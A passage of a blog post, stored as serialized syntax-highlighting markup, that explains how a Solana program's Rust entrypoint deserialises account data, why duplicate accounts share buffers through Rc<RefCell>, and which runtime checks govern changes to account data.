macro",{"type":31,"value":5997},{"type":25,"tag":191,"props":16067,"children":16069},{"className":4487,"code":16068,"language":4486,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[16070],{"type":25,"tag":115,"props":16071,"children":16072},{"__ignoreMap":7},[16073,16081,16153,16195,16247,16305,16347,16389,16396],{"type":25,"tag":201,"props":16074,"children":16075},{"class":203,"line":204},[16076],{"type":25,"tag":201,"props":16077,"children":16078},{"style":220},[16079],{"type":31,"value":16080},"#[no_mangle]\n",{"type":25,"tag":201,"props":16082,"children":16083},{"class":203,"line":226},[16084,16088,16093,16098,16103,16107,16112,16116,16120,16124,16128,16132,16137,16141,16145,16149],{"type":25,"tag":201,"props":16085,"children":16086},{"style":208},[16087],{"type":31,"value":15192},{"type":25,"tag":201,"props":16089,"children":16090},{"style":208},[16091],{"type":31,"value":16092}," unsafe",{"type":25,"tag":201,"props":16094,"children":16095},{"style":208},[16096],{"type":31,"value":16097}," extern",{"type":25,"tag":201,"props":16099,"children":16100},{"style":267},[16101],{"type":31,"value":16102}," \"C\"",{"type":25,"tag":201,"props":16104,"children":16105},{"style":208},[16106],{"type":31,"value":15197},{"type":25,"tag":201,"props":16108,"children":16109},{"style":214},[16110],{"type":31,"value":16111}," entrypoint",{"type":25,"tag":201,"props":16113,"children":16114},{"style":220},[16115],{"type":31,"value":298},{"type":25,"tag":201,"props":16117,"children":16118},{"style":246},[16119],{"type":31,"value":1461},{"type":25,"tag":201,"props":16121,"children":16122},{"style":261},[16123],{"type":31,"value":5997},{"type":25,"tag":201,"props":16125,"children":16126},{"style":261},[16127],{"type":31,"value":11319},{"type":25,"tag":201,"props":16129,"children":16130},{"style":208},[16131],{"type":31,"value":5228},{"type":25,"tag":201,"props":16133,"children":16134},{"style":4925},[16135],{"type":31,"value":16136}," u8",{"type":25,"tag":201,"props":16138,"children":16139},{"style":220},[16140],{"type":31,"value":385},{"type":25,"tag":201,"props":16142,"children":16143},{"style":261},[16144],{"type":31,"value":15259},{"type":25,"tag":201,"props":16146,"children":16147},{"style":4925},[16148],{"type":31,"value":7369},{"type":25,"tag":201,"props":16150,"children":16151},{"style":220},[16152],{"type":31,"value":327},{"type":25,"tag":201,"props":16154,"children":16155},{"class":203,"line":278},[16156,16160,16164,16169,16173,16177,16181,16186,16190],{"type":25,"tag":201,"props":16157,"children":16158},{"style":208},[16159],{"type":31,"value":4508},{"type":25,"tag":201,"props":16161,"children":16162},{"style":220},[16163],{"type":31,"value":238},{"type":25,"tag":201,"props":16165,"children":16166},{"style":246},[16167],{"type":31,"value":16168},"program_id",{"type":25,"tag":201,"props":16170,"children":16171},{"style":220},[16172],{"type":31,"value":919},{"type":25,"tag":201,"props":16174,"children":16175},{"style":246},[16176],{"type":31,"value":380},{"type":25,"tag":201,"props":16178,"children":16179},{"style":220},[16180],{"type":31,"value":919},{"type":25,"tag":201,"props":16182,"children":16183},{"style":246},[16184],{"type":31,"value":16185},"instruction_data",{"type":25,"tag":201,"props":16187,"children":16188},{"style":220},[16189],{"type":31,"value":385},{"type":25,"tag":201,"props":16191,"children":16192},{"style":261},[16193],{"type":31,"value":16194},"=\n",{"type":25,"tag":201,"props":16196,"children":16197},{"class":203,"line":311},[16198,16203,16207,16211,16216,16220,16225,16229,16234,16238,16242],{"type":25,"tag":201,"props":16199,"children":16200},{"style":208},[16201],{"type":31,"value":16202},"        unsafe",{"type":25,"tag":201,"props":16204,"children":16205},{"style":220},[16206],{"type":31,"value":11090},{"type":25,"tag":201,"props":16208,"children":16209},{"style":261},[16210],{"type":31,"value":11791},{"type":25,"tag":201,"props":16212,"children":16213},{"style":208},[16214],{"type":31,"value":16215},"crate",{"type":25,"tag":201,"props":16217,"children":16218},{"style":261},[16219],{"type":31,"value":4988},{"type":25,"tag":201,"props":16221,"children":16222},{"style":220},[16223],{"type":31,"value":16224},"entrypoint",{"type":25,"tag":201,"props":16226,"children":16227},{"style":261},[16228],{"type":31,"value":4988},{"type":25,"tag":201,"props":16230,"children":16231},{"style":214},[16232],{"type":31,"value":16233},"deserialize",{"type":25,"tag":201,"props":16235,"children":16236},{"style":220},[16237],{"type":31,"value":298},{"type":25,"tag":201,"props":16239,"children":16240},{"style":246},[16241],{"type":31,"value":1461},{"type":25,"tag":201,"props":16243,"children":16244},{"style":220},[16245],{"type":31,"value":16246},") };\n",{"type":25,"tag":201,"props":16248,"children":16249},{"class":203,"line":330},[16250,16255,16260,16265,16269,16273,16277,16281,16285,16289,16293,16297,16301],{"type":25,"tag":201,"props":16251,"children":16252},{"style":230},[16253],{"type":31,"value":16254},"    match",{"type":25,"tag":201,"props":16256,"children":16257},{"style":261},[16258],{"type":31,"value":16259}," $",{"type":25,"tag":201,"props":16261,"children":16262},{"style":246},[16263],{"type":31,"value":16264},"process_instruction",{"type":25,"tag":201,"props":16266,"children":16267},{"style":220},[16268],{"type":31,"value":298},{"type":25,"tag":201,"props":16270,"children":16271},{"style":261},[16272],{"type":31,"value":4615},{"type":25,"tag":201,"props":16274,"children":16275},{"style":246},[16276],{"type":31,"value":16168},{"type":25,"tag":201,"props":16278,"children":16279},{"style":220},[16280],{"type":31,"value":919},{"type":25,"tag":201,"props":16282,"children":16283},{"style":261},[16284],{"type":31,"value":4615},{"type":25,"tag":201,"props":16286,"children":16287},{"style":246},[16288],{"type":31,"value":380},{"type":25,"tag":201,"props":16290,"children":16291},{"style":220},[16292],{"type":31,"value":919},{"type":25,"tag":201,"props":16294,"children":16295},{"style":261},[16296],{"type":31,"value":4615},{"type":25,"tag":201,"props":16298,"children":16299},{"style":246},[16300],{"type":31,"value":16185},{"type":25,"tag":201,"props":16302,"children":16303},{"style":220},[16304],{"type":31,"value":275},{"type":25,"tag":201,"props":16306,"children":16307},{"class":203,"line":397},[16308,16313,16318,16322,16326,16330,16334,16338,16342],{"type":25,"tag":201,"props":16309,"children":16310},{"style":4925},[16311],{"type":31,"value":16312},"        Ok",{"type":25,"tag":201,"props":16314,"children":16315},{"style":220},[16316],{"type":31,"value":16317},"(()) ",{"type":25,"tag":201,"props":16319,"children":16320},{"style":261},[16321],{"type":31,"value":390},{"type":25,"tag":201,"props":16323,"children":16324},{"style":261},[16325],{"type":31,"value":16259},{"type":25,"tag":201,"props":16327,"children":16328},{"style":208},[16329],{"type":31,"value":16215},{"type":25,"tag":201,"props":16331,"children":16332},{"style":261},[16333],{"type":31,"value":4988},{"type":25,"tag":201,"props":16335,"children":16336},{"style":220},[16337],{"type":31,"value":16224},{"type":25,"tag":201,"props":16339,"children":16340},{"style":261},[16341],{"type":31,"value":4988},{"type":25,"tag":201,"props":16343,"children":16344},{"style":220},[16345],{"type":31,"value":16346},"SUCCESS,\n",{"type":25,"tag":201,"props":16348,"children":16349},{"class":203,"line":437},[16350,16355,16359,16363,16367,16371,16376,16380,16385],{"type":25,"tag":201,"props":16351,"children":16352},{"style":4925},[16353],{"type":31,"value":16354},"        Err",{"type":25,"tag":201,"props":16356,"children":16357},{"style":220},[16358],{"type":31,"value":298},{"type":25,"tag":201,"props":16360,"children":16361},{"style":246},[16362],{"type":31,"value":293},{"type":25,"tag":201,"props":16364,"children":16365},{"style":220},[16366],{"type":31,"value":385},{"type":25,"tag":201,"props":16368,"children":16369},{"style":261},[16370],{"type":31,"value":390},{"type":25,"tag":201,"props":16372,"children":16373},{"style":246},[16374],{"type":31,"value":16375}," error",{"type":25,"tag":201,"props":16377,"children":16378},{"style":261},[16379],{"type":31,"value":80},{"type":25,"tag":201,"props":16381,"children":16382},{"style":214},[16383],{"type":31,"value":16384},"into",{"type":25,"tag":201,"props":16386,"children":16387},{"style":220},[16388],{"type":31,"value":1104},{"type":25,"tag":201,"props":16390,"children":16391},{"class":203,"line":464},[16392],{"type":25,"tag":201,"props":16393,"children":16394},{"style":220},[16395],{"type":31,"value":4861},{"type":25,"tag":201,"props":16397,"children":16398},{"class":203,"line":490},[16399],{"type":25,"tag":201,"props":16400,"children":16401},{"style":220},[16402],{"type":31,"value":1187},{"type":25,"tag":34,"props":16404,"children":16405},{},[16406,16408,16413,16415,16421,16423,16430,16432,16438,16440,16447],{"type":31,"value":16407},"What we see here is the contract's real entrypoint - it takes a ",{"type":25,"tag":115,"props":16409,"children":16411},{"className":16410},[],[16412],{"type":31,"value":4928},{"type":31,"value":16414}," buffer in from the loader, and calls ",{"type":25,"tag":115,"props":16416,"children":16418},{"className":16417},[],[16419],{"type":31,"value":16420},"solana_program::entrypoint::deserialize",{"type":31,"value":16422},", which then ",{"type":25,"tag":71,"props":16424,"children":16427},{"href":16425,"rel":16426},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[75],[16428],{"type":31,"value":16429},"parses out",{"type":31,"value":16431}," all the ",{"type":25,"tag":115,"props":16433,"children":16435},{"className":16434},[],[16436],{"type":31,"value":16437},"AccountInfo",{"type":31,"value":16439},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":25,"tag":71,"props":16441,"children":16444},{"href":16442,"rel":16443},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[75],[16445],{"type":31,"value":16446},"laid out",{"type":31,"value":5997},{"type":25,"tag":191,"props":16449,"children":16451},{"className":4487,"code":16450,"language":4486,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[16452],{"type":25,"tag":115,"props":16453,"children":16454},{"__ignoreMap":7},[16455,16472,16552,16585,16592,16638,16683,16691,16715],{"type":25,"tag":201,"props":16456,"children":16457},{"class":203,"line":204},[16458,16463,16467],{"type":25,"tag":201,"props":16459,"children":16460},{"style":220},[16461],{"type":31,"value":16462},"#[allow(clippy",{"type":25,"tag":201,"props":16464,"children":16465},{"style":261},[16466],{"type":31,"value":4988},{"type":25,"tag":201,"props":16468,"children":16469},{"style":220},[16470],{"type":31,"value":16471},"cast_ptr_alignment)]\n",{"type":25,"tag":201,"props":16473,"children":16474},{"class":203,"line":226},[16475,16479,16484,16488,16492,16496,16500,16504,16508,16512,16516,16520,16524,16528,16532,16536,16540,16544,16548],{"type":25,"tag":201,"props":16476,"children":16477},{"style":208},[16478],{"type":31,"value":13289},{"type":25,"tag":201,"props":16480,"children":16481},{"style":246},[16482],{"type":31,"value":16483}," data_len",{"type":25,"tag":201,"props":16485,"children":16486},{"style":261},[16487],{"type":31,"value":413},{"type":25,"tag":201,"props":16489,"children":16490},{"style":261},[16491],{"type":31,"value":11319},{"type":25,"tag":201,"props":16493,"children":16494},{"style":220},[16495],{"type":31,"value":298},{"type":25,"tag":201,"props":16497,"children":16498},{"style":246},[16499],{"type":31,"value":1461},{"type":25,"tag":201,"props":16501,"children":16502},{"style":261},[16503],{"type":31,"value":80},{"type":25,"tag":201,"props":16505,"children":16506},{"style":214},[16507],{"type":31,"value":2011},{"type":25,"tag":201,"props":16509,"children":16510},{"style":220},[16511],{"type":31,"value":298},{"type":25,"tag":201,"props":16513,"children":16514},{"style":246},[16515],{"type":31,"value":15403},{"type":25,"tag":201,"props":16517,"children":16518},{"style":220},[16519],{"type":31,"value":385},{"type":25,"tag":201,"props":16521,"children":16522},{"style":208},[16523],{"type":31,"value":10349},{"type":25,"tag":201,"props":16525,"children":16526},{"style":261},[16527],{"type":31,"value":11319},{"type":25,"tag":201,"props":16529,"children":16530},{"style":208},[16531],{"type":31,"value":4074},{"type":25,"tag":201,"props":16533,"children":16534},{"style":4925},[16535],{"type":31,"value":7369},{"type":25,"tag":201,"props":16537,"children":16538},{"style":220},[16539],{"type":31,"value":385},{"type":25,"tag":201,"props":16541,"children":16542},{"style":208},[16543],{"type":31,"value":10349},{"type":25,"tag":201,"props":16545,"children":16546},{"style":4925},[16547],{"type":31,"value":15233},{"type":25,"tag":201,"props":16549,"children":16550},{"style":220},[16551],{"type":31,"value":461},{"type":25,"tag":201,"props":16553,"children":16554},{"class":203,"line":278},[16555,16559,16564,16569,16573,16577,16581],{"type":25,"tag":201,"props":16556,"children":16557},{"style":246},[16558],{"type":31,"value":15403},{"type":25,"tag":201,"props":16560,"children":16561},{"style":261},[16562],{"type":31,"value":16563}," +=",{"type":25,"tag":201,"props":16565,"children":16566},{"style":214},[16567],{"type":31,"value":16568}," size_of",{"type":25,"tag":201,"props":16570,"children":16571},{"style":261},[16572],{"type":31,"value":4988},{"type":25,"tag":201,"props":16574,"children":16575},{"style":220},[16576],{"type":31,"value":1298},{"type":25,"tag":201,"props":16578,"children":16579},{"style":4925},[16580],{"type":31,"value":9551},{"type":25,"tag":201,"props":16582,"children":16583},{"style":220},[16584],{"type":31,"value":9959},{"type":25,"tag":201,"props":16586,"children":16587},{"class":203,"line":311},[16588],{"type":25,"tag":201,"props":16589,"children":16590},{"emptyLinePlaceholder":17},[16591],{"type":31,"value":496},{"type":25,"tag":201,"props":16593,"children":16594},{"class":203,"line":330},[16595,16599,16604,16608,16613,16617,16621,16626,16630,16634],{"type":25,"tag":201,"props":16596,"children":16597},{"style":208},[16598],{"type":31,"value":13289},{"type":25,"tag":201,"props":16600,"children":16601},{"style":246},[16602],{"type":31,"value":16603}," data",{"type":25,"tag":201,"props":16605,"children":16606},{"style":261},[16607],{"type":31,"value":413},{"type":25,"tag":201,"props":16609,"children":16610},{"style":4925},[16611],{"type":31,"value":16612}," Rc",{"type":25,"tag":201,"props":16614,"children":16615},{"style":261},[16616],{"type":31,"value":4988},{"type":25,"tag":201,"props":16618,"children":16619},{"style":214},[16620],{"type":31,"value":1911},{"type":25,"tag":201,"props":16622,"children":16623},{"style":220},[16624],{"type":31,"value":16625},"(RefCell",{"type":25,"tag":201,"props":16627,"children":16628},{"style":261},[16629],{"type":31,"value":4988},{"type":25,"tag":201,"props":16631,"children":16632},{"style":214},[16633],{"type":31,"value":1911},{"type":25,"tag":201,"props":16635,"children":16636},{"style":220},[16637],{"type":31,"value":4238},{"type":25,"tag":201,"props":16639,"children":16640},{"class":203,"line":397},[16641,16646,16650,16654,16658,16662,16666,16670,16675,16679],{"type":25,"tag":201,"props":16642,"children":16643},{"style":214},[16644],{"type":31,"value":16645},"    from_raw_parts_mut",{"type":25,"tag":201,"props":16647,"children":16648},{"style":220},[16649],{"type":31,"value":298},{"type":25,"tag":201,"props":16651,"children":16652},{"style":246},[16653],{"type":31,"value":1461},{"type":25,"tag":201,"props":16655,"children":16656},{"style":261},[16657],{"type":31,"value":80},{"type":25,"tag":201,"props":16659,"children":16660},{"style":214},[16661],{"type":31,"value":2011},{"type":25,"tag":201,"props":16663,"children":16664},{"style":220},[16665],{"type":31,"value":298},{"type":25,"tag":201,"props":16667,"children":16668},{"style":246},[16669],{"type":31,"value":15403},{"type":25,"tag":201,"props":16671,"children":16672},{"style":220},[16673],{"type":31,"value":16674},"), ",{"type":25,"tag":201,"props":16676,"children":16677},{"style":246},[16678],{"type":31,"value":15308},{"type":25,"tag":201,"props":16680,"children":16681},{"style":220},[16682],{"type":31,"value":4666},{"type":25,"tag":201,"props":16684,"children":16685},{"class":203,"line":437},[16686],{"type":25,"tag":201,"props":16687,"children":16688},{"style":220},[16689],{"type":31,"value":16690},"}));\n",{"type":25,"tag":201,"props":16692,"children":16693},{"class":203,"line":464},[16694,16698,16702,16706,16710],{"type":25,"tag":201,"props":16695,"children":16696},{"style":246},[16697],{"type":31,"value":15403},{"type":25,"tag":201,"props":16699,"children":16700},{"style":261},[16701],{"type":31,"value":16563},{"type":25,"tag":201,"props":16703,"children":16704},{"style":246},[16705],{"type":31,"value":16483},{"type":25,"tag":201,"props":16707,"children":16708},{"style":261},[16709],{"type":31,"value":10412},{"type":25,"tag":201,"props":16711,"children":16712},{"style":220},[16713],{"type":31,"value":16714}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":25,"tag":201,"props":16716,"children":16717},{"class":203,"line":490},[16718,16722,16726,16730,16734,16738,16742,16746,16750,16754,16758,16763,16768],{"type":25,"tag":201,"props":16719,"children":16720},{"style":246},[16721],{"type":31,"value":15403},{"type":25,"tag":201,"props":16723,"children":16724},{"style":261},[16725],{"type":31,"value":16563},{"type":25,"tag":201,"props":16727,"children":16728},{"style":220},[16729],{"type":31,"value":238},{"type":25,"tag":201,"props":16731,"children":16732},{"style":246},[16733],{"type":31,"value":15403},{"type":25,"tag":201,"props":16735,"children":16736},{"style":208},[16737],{"type":31,"value":10335},{"type":25,"tag":201,"props":16739,"children":16740},{"style":261},[16741],{"type":31,"value":11319},{"type":25,"tag":201,"props":16743,"children":16744},{"style":208},[16745],{"type":31,"value":4074},{"type":25,"tag":201,"props":16747,"children":16748},{"style":4925},[16749],{"type":31,"value":16136},{"type":25,"tag":201,"props":16751,"children":16752},{"style":220},[16753],{"type":31,"value":3073},{"type":25,"tag":201,"props":16755,"children":16756},{"style":261},[16757],{"type":31,"value":80},{"type":25,"tag":201,"props":16759,"children":16760},{"style":214},[16761],{"type":31,"value":16762},"align_offset",{"type":25,"tag":201,"props":16764,"children":16765},{"style":220},[16766],{"type":31,"value":16767},"(BPF_ALIGN_OF_U128); ",{"type":25,"tag":201,"props":16769,"children":16770},{"style":4497},[16771],{"type":31,"value":16772},"// padding\n",{"type":25,"tag":34,"props":16774,"children":16775},{},[16776,16778,16783,16785,16791,16793,16804,16806,16811,16813,16819,16821,16827,16828,16834],{"type":31,"value":16777},"In English, we have the length of the data, as a ",{"type":25,"tag":115,"props":16779,"children":16781},{"className":16780},[],[16782],{"type":31,"value":9551},{"type":31,"value":16784},", followed immediately by the data, and an additional ",{"type":25,"tag":115,"props":16786,"children":16788},{"className":16787},[],[16789],{"type":31,"value":16790},"MAX_PERMITTED_DATA_INCREASE",{"type":31,"value":16792}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":25,"tag":71,"props":16794,"children":16797},{"href":16795,"rel":16796},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[75],[16798],{"type":25,"tag":115,"props":16799,"children":16801},{"className":16800},[],[16802],{"type":31,"value":16803},"slice::from_raw_parts_mut",{"type":31,"value":16805},") - slices are how Rust represents a, well, ",{"type":25,"tag":65,"props":16807,"children":16808},{},[16809],{"type":31,"value":16810},"slice",{"type":31,"value":16812}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":25,"tag":115,"props":16814,"children":16816},{"className":16815},[],[16817],{"type":31,"value":16818},"Rc\u003CRefCell\u003CT>>",{"type":31,"value":16820},", giving us the unwieldy-looking type of ",{"type":25,"tag":115,"props":16822,"children":16824},{"className":16823},[],[16825],{"type":31,"value":16826},"AccountInfo.data",{"type":31,"value":2957},{"type":25,"tag":115,"props":16829,"children":16831},{"className":16830},[],[16832],{"type":31,"value":16833},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":31,"value":80},{"type":25,"tag":34,"props":16836,"children":16837},{},[16838,16840,16847],{"type":31,"value":16839},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":25,"tag":71,"props":16841,"children":16844},{"href":16842,"rel":16843},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[75],[16845],{"type":31,"value":16846},"cloning the referenced account",{"type":31,"value":5997},{"type":25,"tag":191,"props":16849,"children":16851},{"className":4487,"code":16850,"language":4486,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[16852],{"type":25,"tag":115,"props":16853,"children":16854},{"__ignoreMap":7},[16855,16863],{"type":25,"tag":201,"props":16856,"children":16857},{"class":203,"line":204},[16858],{"type":25,"tag":201,"props":16859,"children":16860},{"style":4497},[16861],{"type":31,"value":16862},"// Duplicate account, clone the original\n",{"type":25,"tag":201,"props":16864,"children":16865},{"class":203,"line":226},[16866,16870,16874,16878,16882,16886,16890,16895,16899,16903,16908,16912,16917],{"type":25,"tag":201,"props":16867,"children":16868},{"style":246},[16869],{"type":31,"value":380},{"type":25,"tag":201,"props":16871,"children":16872},{"style":261},[16873],{"type":31,"value":80},{"type":25,"tag":201,"props":16875,"children":16876},{"style":214},[16877],{"type":31,"value":5315},{"type":25,"tag":201,"props":16879,"children":16880},{"style":220},[16881],{"type":31,"value":298},{"type":25,"tag":201,"props":16883,"children":16884},{"style":246},[16885],{"type":31,"value":380},{"type":25,"tag":201,"props":16887,"children":16888},{"style":220},[16889],{"type":31,"value":423},{"type":25,"tag":201,"props":16891,"children":16892},{"style":246},[16893],{"type":31,"value":16894},"dup_info",{"type":25,"tag":201,"props":16896,"children":16897},{"style":208},[16898],{"type":31,"value":10335},{"type":25,"tag":201,"props":16900,"children":16901},{"style":4925},[16902],{"type":31,"value":15233},{"type":25,"tag":201,"props":16904,"children":16905},{"style":220},[16906],{"type":31,"value":16907},"]",{"type":25,"tag":201,"props":16909,"children":16910},{"style":261},[16911],{"type":31,"value":80},{"type":25,"tag":201,"props":16913,"children":16914},{"style":214},[16915],{"type":31,"value":16916},"clone",{"type":25,"tag":201,"props":16918,"children":16919},{"style":220},[16920],{"type":31,"value":16921},"());\n",{"type":25,"tag":34,"props":16923,"children":16924},{},[16925,16927,16932,16934,16939,16941,16946,16948,16953,16954,16960,16962,16967,16969,16981,16983,16988],{"type":31,"value":16926},"Since ",{"type":25,"tag":115,"props":16928,"children":16930},{"className":16929},[],[16931],{"type":31,"value":5206},{"type":31,"value":16933}," inside the ",{"type":25,"tag":115,"props":16935,"children":16937},{"className":16936},[],[16938],{"type":31,"value":16437},{"type":31,"value":16940}," is a ",{"type":25,"tag":115,"props":16942,"children":16944},{"className":16943},[],[16945],{"type":31,"value":16818},{"type":31,"value":16947},", where the ",{"type":25,"tag":115,"props":16949,"children":16951},{"className":16950},[],[16952],{"type":31,"value":7496},{"type":31,"value":16940},{"type":25,"tag":115,"props":16955,"children":16957},{"className":16956},[],[16958],{"type":31,"value":16959},"&mut [u8]",{"type":31,"value":16961}," pointing at the actual data buffer, when we clone the ",{"type":25,"tag":115,"props":16963,"children":16965},{"className":16964},[],[16966],{"type":31,"value":16437},{"type":31,"value":16968},", we get a new reference",{"type":25,"tag":16970,"props":16971,"children":16972},"sup",{},[16973],{"type":25,"tag":71,"props":16974,"children":16979},{"href":16975,"ariaDescribedBy":16976,"dataFootnoteRef":7,"id":16978},"#user-content-fn-rc-refs",[16977],"footnote-label","user-content-fnref-rc-refs",[16980],{"type":31,"value":5516},{"type":31,"value":16982}," to the slice pointing at the ",{"type":25,"tag":65,"props":16984,"children":16985},{},[16986],{"type":31,"value":16987},"same",{"type":31,"value":16989}," data buffer.",{"type":25,"tag":34,"props":16991,"children":16992},{},[16993,16995,17001,17003,17009],{"type":31,"value":16994},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":25,"tag":115,"props":16996,"children":16998},{"className":16997},[],[16999],{"type":31,"value":17000},"RefCell",{"type":31,"value":17002}," to check the rules at runtime. (The ",{"type":25,"tag":115,"props":17004,"children":17006},{"className":17005},[],[17007],{"type":31,"value":17008},"lamports",{"type":31,"value":17010}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":25,"tag":34,"props":17012,"children":17013},{},[17014,17016,17022],{"type":31,"value":17015},"Changing the data of an account is done by simply writing to ",{"type":25,"tag":115,"props":17017,"children":17019},{"className":17018},[],[17020],{"type":31,"value":17021},"AccountInfo::data",{"type":31,"value":17023},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":25,"tag":34,"props":17025,"children":17026},{},[17027,17029,17036],{"type":31,"value":17028},"This is also where the ",{"type":25,"tag":71,"props":17030,"children":17033},{"href":17031,"rel":17032},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[75],[17034],{"type":31,"value":17035},"runtime validity checks",{"type":31,"value":17037}," are imposed.",{"type":25,"tag":191,"props":17039,"children":17041},{"className":4487,"code":17040,"language":4486,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[17042],{"type":25,"tag":115,"props":17043,"children":17044},{"__ignoreMap":7},[17045,17053,17061,17069,17110,17128,17157,17202,17209,17232,17267,17292,17324,17339,17371,17378],{"type":25,"tag":201,"props":17046,"children":17047},{"class":203,"line":204},[17048],{"type":25,"tag":201,"props":17049,"children":17050},{"style":4497},[17051],{"type":31,"value":17052},"// Only the owner may change account data\n",{"type":25,"tag":201,"props":17054,"children":17055},{"class":203,"line":226},[17056],{"type":25,"tag":201,"props":17057,"children":17058},{"style":4497},[17059],{"type":31,"value":17060},"//   and if the account is writable\n",{"type":25,"tag":201,"props":17062,"children":17063},{"class":203,"line":278},[17064],{"type":25,"tag":201,"props":17065,"children":17066},{"style":4497},[17067],{"type":31,"value":17068},"//   and if the account is not executable\n",{"type":25,"tag":201,"props":17070,"children":17071},{"class":203,"line":311},[17072,17076,17080,17084,17088,17092,17097,17101,17106],{"type":25,"tag":201,"props":17073,"children":17074},{"style":230},[17075],{"type":31,"value":4105},{"type":25,"tag":201,"props":17077,"children":17078},{"style":261},[17079],{"type":31,"value":14366},{"type":25,"tag":201,"props":17081,"children":17082},{"style":220},[17083],{"type":31,"value":298},{"type":25,"tag":201,"props":17085,"children":17086},{"style":246},[17087],{"type":31,"value":16168},{"type":25,"tag":201,"props":17089,"children":17090},{"style":261},[17091],{"type":31,"value":4789},{"type":25,"tag":201,"props":17093,"children":17094},{"style":246},[17095],{"type":31,"value":17096}," pre",{"type":25,"tag":201,"props":17098,"children":17099},{"style":261},[17100],{"type":31,"value":80},{"type":25,"tag":201,"props":17102,"children":17103},{"style":214},[17104],{"type":31,"value":17105},"owner",{"type":25,"tag":201,"props":17107,"children":17108},{"style":220},[17109],{"type":31,"value":1882},{"type":25,"tag":201,"props":17111,"children":17112},{"class":203,"line":330},[17113,17118,17123],{"type":25,"tag":201,"props":17114,"children":17115},{"style":261},[17116],{"type":31,"value":17117},"    &&",{"type":25,"tag":201,"props":17119,"children":17120},{"style":246},[17121],{"type":31,"value":17122}," is_writable",{"type":25,"tag":201,"props":17124,"children":17125},{"style":4497},[17126],{"type":31,"value":17127},"  // line coverage used to get branch coverage\n",{"type":25,"tag":201,"props":17129,"children":17130},{"class":203,"line":397},[17131,17135,17139,17143,17147,17152],{"type":25,"tag":201,"props":17132,"children":17133},{"style":261},[17134],{"type":31,"value":17117},{"type":25,"tag":201,"props":17136,"children":17137},{"style":261},[17138],{"type":31,"value":14366},{"type":25,"tag":201,"props":17140,"children":17141},{"style":246},[17142],{"type":31,"value":191},{"type":25,"tag":201,"props":17144,"children":17145},{"style":261},[17146],{"type":31,"value":80},{"type":25,"tag":201,"props":17148,"children":17149},{"style":214},[17150],{"type":31,"value":17151},"executable",{"type":25,"tag":201,"props":17153,"children":17154},{"style":220},[17155],{"type":31,"value":17156},"())\n",{"type":25,"tag":201,"props":17158,"children":17159},{"class":203,"line":437},[17160,17164,17168,17172,17176,17180,17185,17190,17194,17198],{"type":25,"tag":201,"props":17161,"children":17162},{"style":261},[17163],{"type":31,"value":17117},{"type":25,"tag":201,"props":17165,"children":17166},{"style":246},[17167],{"type":31,"value":17096},{"type":25,"tag":201,"props":17169,"children":17170},{"style":261},[17171],{"type":31,"value":80},{"type":25,"tag":201,"props":17173,"children":17174},{"style":214},[17175],{"type":31,"value":5206},{"type":25,"tag":201,"props":17177,"children":17178},{"style":220},[17179],{"type":31,"value":15545},{"type":25,"tag":201,"props":17181,"children":17182},{"style":261},[17183],{"type":31,"value":17184},"!=",{"type":25,"tag":201,"props":17186,"children":17187},{"style":246},[17188],{"type":31,"value":17189}," post",{"type":25,"tag":201,"props":17191,"children":17192},{"style":261},[17193],{"type":31,"value":80},{"type":25,"tag":201,"props":17195,"children":17196},{"style":214},[17197],{"type":31,"value":5206},{"type":25,"tag":201,"props":17199,"children":17200},{"style":220},[17201],{"type":31,"value":1882},{"type":25,"tag":201,"props":17203,"children":17204},{"class":203,"line":464},[17205],{"type":25,"tag":201,"props":17206,"children":17207},{"style":220},[17208],{"type":31,"value":1822},{"type":25,"tag":201,"props":17210,"children":17211},{"class":203,"line":490},[17212,17216,17220,17224,17228],{"type":25,"tag":201,"props":17213,"children":17214},{"style":230},[17215],{"type":31,"value":13781},{"type":25,"tag":201,"props":17217,"children":17218},{"style":246},[17219],{"type":31,"value":17096},{"type":25,"tag":201,"props":17221,"children":17222},{"style":261},[17223],{"type":31,"value":80},{"type":25,"tag":201,"props":17225,"children":17226},{"style":214},[17227],{"type":31,"value":17151},{"type":25,"tag":201,"props":17229,"children":17230},{"style":220},[17231],{"type":31,"value":223},{"type":25,"tag":201,"props":17233,"children":17234},{"class":203,"line":499},[17235,17240,17245,17249,17254,17258,17263],{"type":25,"tag":201,"pr